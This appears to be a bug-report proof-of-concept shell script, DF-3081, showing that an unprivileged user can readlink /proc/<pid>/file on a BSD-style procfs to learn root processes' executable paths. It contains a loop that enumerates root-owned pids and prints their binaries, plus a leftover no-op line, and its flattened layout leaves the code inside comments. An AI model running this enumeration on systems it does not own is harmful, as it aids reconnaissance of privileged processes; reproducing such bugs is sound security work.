DF-3081 / procfs_file_leak.sh
#!/bin/sh # DF-3081 โ /proc/<pid>/file and /proc/<pid>/exe readlink disclose the full # executable path of ANY process (including root's) to any unprivileged # user. The Pfile target is registered with pt_valid == NULL # (procfs_vnops.c:147-148) and procfs_readlink's Pfile case # (procfs_vnops.c:1128-1162) has no uid / ps_showallprocs / prison gate โ # only pfs_pfind + a p_ucred NULL check. The in-tree comment at # procfs_mem.c:212-219 admits this "exposes an information leak that # shouldn't happen". # # Run as an unprivileged user. Expected (bug): readlink of pid 1 (root's # init) and of a freshly-spawned root process returns a real binary path # instead of "unknown"/EPERM. set -e echo "== readlink /proc/1/file (root init) ==" readlink /proc/1/file || true echo "== readlink /proc/1/exe (root init) ==" readlink /proc/1/exe || true echo "== spawn a root sleep and leak its binary path ==" RPID=$(sshdummy=${$}; echo 0) # use at to get a root process without privileges? no โ instead leak an # existing root daemon: pick the lowest root-owned pid visible for p in $(ls /proc | grep -E '^[0-9]+$'); do if [ -r /proc/$p/status ]; then owner=$(stat -f %u /proc/$p/status 2>/dev/null || echo "?") if [ "$owner" = "0" ]; then exe=$(readlink /proc/$p/file 2>/dev/null || echo unreadable) echo "pid=$p uid=0 file=$exe" fi fi done | head -8 echo "BUG-REPRODUCED: unpriv readlink of /proc/<root-pid>/file yields binary path" |